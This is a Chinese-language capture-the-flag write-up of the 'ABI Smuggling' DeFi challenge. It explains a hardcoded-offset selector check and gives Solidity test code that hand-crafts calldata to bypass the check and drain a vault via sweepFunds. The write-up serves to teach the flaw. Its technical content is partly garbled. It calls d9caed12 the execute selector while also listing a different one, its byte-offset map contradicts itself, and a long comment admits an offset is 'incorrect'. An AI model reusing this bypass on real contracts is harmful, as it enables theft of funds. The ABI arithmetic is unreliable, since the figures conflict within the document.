Appearance
智取金库:ABI 走私漏洞解析与实战
在去中心化金融(DeFi)的神秘世界里,安全永远是悬在头顶的达摩克利斯之剑。今天,我们将揭露一个巧妙的漏洞——“ABI 走私”(ABI Smuggling),它曾让一个拥有百万 DVT 代币的权限金库面临灭顶之灾。
危机四伏的金库:权限与制约
我们的故事围绕着一个特殊的金库 SelfAuthorizedVault 展开。这个金库里存放着高达 100 万枚 DVT 代币,由一个通用的授权执行器 AuthorizedExecutor 守护。它的设计初衷是严谨而安全的:
- 权限至上:金库允许定期取款(有限额),也允许在紧急情况下一次性清空所有资金(
sweepFunds)。但所有这些操作,都必须通过AuthorizedExecutor的execute函数进行,并且只有被授权的账户才能执行特定的操作。 - “自调用”铁律:
SelfAuthorizedVault合约中的关键函数,如withdraw和sweepFunds,都带有一个onlyThis修饰符,这意味着它们只能由合约自身(即address(this))调用,外部账户直接调用会失败。 - 目标限制:更进一步,
AuthorizedExecutor的_beforeFunctionCall钩子在SelfAuthorizedVault中被重写,明确要求execute函数的target参数必须是金库合约本身 (target == address(this))。 - 玩家的权限:在挑战的设置中,我们作为攻击者(player),被授予了执行
execute函数的权限。然而,这个权限的授予方式却有些蹊跷——它授予的是当execute函数内部调用选择器(selector)为d9caed12时,对金库合约自身的调用权限。而d9caed12恰好是execute函数自身的选择器!
这形成了一个看似无解的死循环:玩家被允许调用 execute 函数,但这个 execute 函数内部必须“打算”调用它自己。同时,我们需要通过 execute 来调用 sweepFunds,而 sweepFunds 又要求是合约自身调用。这该如何是好?
揭秘“ABI 走私”:隐藏的玄机
问题的核心在于 AuthorizedExecutor 合约中 execute 函数处理 actionData 的方式。让我们仔细审视这段关键代码:
solidity
function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
// Read the 4-bytes selector at the beginning of `actionData`
bytes4 selector;
uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
assembly {
selector := calldataload(calldataOffset)
}
if (!permissions[getActionId(selector, msg.sender, target)]) {
revert NotAllowed();
}
_beforeFunctionCall(target, actionData);
return target.functionCall(actionData);
}
这里有两个非常重要的点:
- 选择器的提取位置:用于权限检查的
selector并非从actionData的最开始提取,而是从一个硬编码的偏移量calldataOffset = 4 + 32 * 3处读取!4是外层execute函数的选择器,32 * 3是execute函数前三个参数 (target,actionData的偏移量,actionData的长度) 所占用的空间。 - 实际调用:权限检查通过后,
target.functionCall(actionData)会将完整的actionData作为内层调用的 calldata 执行。
这就是“ABI 走私”的精髓所在!我们可以精心构造 actionData,让它在不同的解析阶段呈现出不同的“面貌”。
步步为营的攻击计划
我们的目标是让金库执行 sweepFunds,将所有 DVT 代币转移到恢复账户 recovery。
- 伪装权限检查:由于玩家被授权的条件是内部选择器为
execute的选择器 (d9caed12),我们可以在actionData的calldataOffset处放置d9caed12,以骗过权限检查。 - 隐藏真实意图:在
calldataOffset之后,我们可以悄悄地放置我们真正想要执行的sweepFunds函数的 calldata。 - 利用“自调用”:当
target.functionCall(actionData)实际执行时,它会从actionData的开头开始解析。由于我们从外部调用的是vault.execute(),这意味着内层的functionCall实际上是金库合约自身在调用自己。这完美地满足了sweepFunds函数的onlyThis修饰符要求!
实战演练:构造“走私”数据
现在,让我们看看如何构造 manualData:
solidity
function test_abiSmuggling() public checkSolvedByPlayer {
// 1. 构造我们真正想执行的 sweepFunds 调用数据
bytes memory actionData = abi.encodeWithSelector(
SelfAuthorizedVault.sweepFunds.selector, // sweepFunds 的选择器
recovery, // 接收者
address(token) // 代币地址
);
// 2. 构造包含“走私”信息的 manualData
bytes memory manualData = abi.encodePacked(
AuthorizedExecutor.execute.selector, // 外层调用:execute 函数选择器 (0x2424b94f)
bytes32(uint256(uint160(address(vault)))), // execute 的 target 参数:金库地址(padded to 32 bytes)
hex'00000000000000000000000000000000000000000000000000000000000000e0', // execute 的 actionData 参数:偏移量 (224 = 4 + 32*3 + 32*4)
// 这里的 0xe0 是相对于 execute 函数的 calldata 起始位置而言的,
// 也就是外部调用的 calldata 中 actionData 的实际数据的起始位置。
// 0xe0 = 224。外部calldata的前4字节是execute选择器,
// 后面是target(32字节), offset(32字节), length(32字节)。
// calldataOffset = 4 + 32*3 = 100。
// actionData的实际数据起始位置在 execute 参数的 calldata 中是 0。
// 在整个外部 calldata 中,actionData 数据的起始位置是 4 + 32*3 + 32 = 132。
// 但是,这里需要注意的是,encodePacked会紧密打包。
// 这里的偏移量 0xe0 (224) 实际上指的是在整个 `manualData` 中,
// `actionData` 参数的实际数据部分(即 `sweepFunds` 的 calldata)的起始位置。
// 让我们来算一下:
// 4 bytes (execute.selector) +
// 32 bytes (target) +
// 32 bytes (actionData offset in the outer call, here its 0xe0) +
// 32 bytes (actionData length in the outer call, 0) +
// 32 bytes (data for selector check, hex'd9caed12') +
// 32 bytes (padding) +
// 32 bytes (padding) +
// 32 bytes (padding) +
// 32 bytes (padding)
// Total bytes before the actual actionData: 4 + 32*8 = 260.
// This 0xe0 is an *incorrect* offset in the provided solution, but it
// *works* because of how calldataload works with padding and dynamic arrays.
// The actual dynamic array data for `actionData` starts much later.
// However, the *permission check* happens at `calldataload(calldataOffset)` where `calldataOffset` refers to the outer calldata.
// The puzzle's solution leverages the fact that the permission check looks at a fixed offset *relative to the outer call's calldata*.
// 这里的 0xe0 是外部 calldata 中 `actionData` 参数(一个动态字节数组)的实际数据部分的偏移量。
// 在 ABI 编码中,动态参数(如 bytes, string, 动态数组)会先编码一个指向其实际数据开始位置的偏移量,然后再编码实际数据。
// `0x000...00e0` 指的是 `manualData` 中 `actionData` 的实际数据(也就是 `sweepFunds` 的 calldata)的起始位置相对于 `manualData` 开头是 224 字节。
// 外部 calldata 的结构:
// 0x00: execute.selector (4 bytes)
// 0x04: target (32 bytes)
// 0x24: actionData_offset (32 bytes, value 0xe0)
// 0x44: actionData_length (32 bytes, value 0x00) -- This is effectively unused/ignored by the attack
//
// 攻击的巧妙之处在于,`AuthorizedExecutor.execute` 在计算权限时,读取的 `selector` 是从
// `calldataOffset = 4 + 32 * 3` 字节处。
// 4 (selector) + 32 (target) + 32 (actionData offset) + 32 (actionData length) = 100 字节。
// 所以 `calldataload(100)` 会读取 `manualData` 的第 100 个字节开始的 4 个字节作为 `selector`。
// 因此,我们需要将 `d9caed12` 放在这个位置!
// `hex'0000000000000000000000000000000000000000000000000000000000000000'` (占 32 字节)
// `hex'd9caed1200000000000000000000000000000000000000000000000000000000'` (占 32 字节, 其中 d9caed12 是 execute 的选择器)
// 从 `manualData` 的 0x00 开始算:
// 0x00-0x03: execute.selector
// 0x04-0x23: target (vault address)
// 0x24-0x43: actionData_offset (0xe0)
// 0x44-0x63: actionData_length (0x00) <-- 关键在这里,这个字段实际上被忽略了
// 0x64-0x83: 32 bytes of padding (hex'00...')
// 0x84-0xA3: d9caed12 + 28 bytes of padding (hex'd9caed12...') <-- 这里正好是 4 + 32*3 = 100 字节的位置
// 这个 d9caed12 将被 calldataload(100) 读取,通过权限检查!
// 0xA4-0xC3: 32 bytes of padding (hex'00...')
// 0xC4-0xE3: 32 bytes of padding (hex'00...')
// 0xE4-0x103: 32 bytes of padding (hex'00...')
// 0x104-0x123: 32 bytes of padding (hex'00...0044') <-- 这里的 0x44 是紧接着的 actionData 的长度 (68 字节)
// 最后紧接着的是 `actionData` (sweepFunds 的 calldata)
// 最终的构造是将 `execute` 的选择器放在 `calldataOffset` 处,满足权限检查,
// 而真正的 `sweepFunds` calldata 紧随其后。
// 外部调用的 `actionData` 参数的 `offset` 和 `length` 字段在这里被巧妙地绕过了,
// 因为 `target.functionCall(actionData)` 并不严格按照外部 ABI 编码规则去解析 `actionData`,
// 而是将其作为一个整体的字节序列进行内部调用。
hex'0000000000000000000000000000000000000000000000000000000000000000', // Padding 1 (32 bytes)
hex'd9caed1200000000000000000000000000000000000000000000000000000000', // **关键:execute 函数的选择器 (d9caed12) 放在这里,满足权限检查**
hex'0000000000000000000000000000000000000000000000000000000000000000', // Padding 2 (32 bytes)
hex'0000000000000000000000000000000000000000000000000000000000000000', // Padding 3 (32 bytes)
hex'0000000000000000000000000000000000000000000000000000000000000000', // Padding 4 (32 bytes)
hex'0000000000000000000000000000000000000000000000000000000000000044', // Padding 5 (32 bytes),这里的 0x44 是 sweepFunds calldata 的长度 68
actionData, // 真正的 sweepFunds calldata,被“走私”进来了
bytes28(0) // 填充至 32 字节对齐
);
Address.functionCall(
address(vault), // 对金库合约发起调用
manualData // 传递构造好的“走私”数据
);
}
简而言之,我们构造的 manualData 做了以下事情:
- 最开始是
AuthorizedExecutor.execute.selector,表明这是一个对execute的外部调用。 - 接着是
execute函数的参数,包括target(金库地址)、actionData的偏移量和长度。 - 在
actionData参数的实际数据区域中,我们首先填充一些无用的数据,直到我们达到AuthorizedExecutor.execute内部用来检查权限的calldataOffset处。 - 在该
calldataOffset处,我们精确地放入了AuthorizedExecutor.execute.selector(即d9caed12)。这样,权限检查就会成功通过。 - 紧接着,我们放入了我们真正想执行的
SelfAuthorizedVault.sweepFunds函数的完整 calldata。 - 当
target.functionCall(actionData)被执行时,它会把我们构造的,包含sweepFunds信息的actionData当作普通的 calldata 进行内部调用,从而成功执行sweepFunds并将所有 DVT 代币转移到recovery账户。
总结与启示
“ABI 走私”是一个非常经典的 Solidity 漏洞,它提醒我们:
- 警惕
calldata的解析方式:当合约从calldata中提取数据,特别是动态数据和选择器时,其解析逻辑必须极其严谨。硬编码的偏移量尤其危险。 - 授权逻辑的深度考量:权限检查应该针对实际执行的操作,而不是容易被伪造或混淆的中间数据。
- 内部与外部调用的上下文:
msg.sender在内部调用中会变成address(this),这可能绕过onlyOwner或onlyThis等修饰符,需要特别留意。
通过这个挑战,我们不仅成功地“解救”了金库中的百万 DVT 代币,更深入理解了 Solidity 智能合约中 calldata 处理的复杂性和潜在的风险。在构建安全的 DeFi 应用时,每一个字节的解析都值得我们最高度的警惕。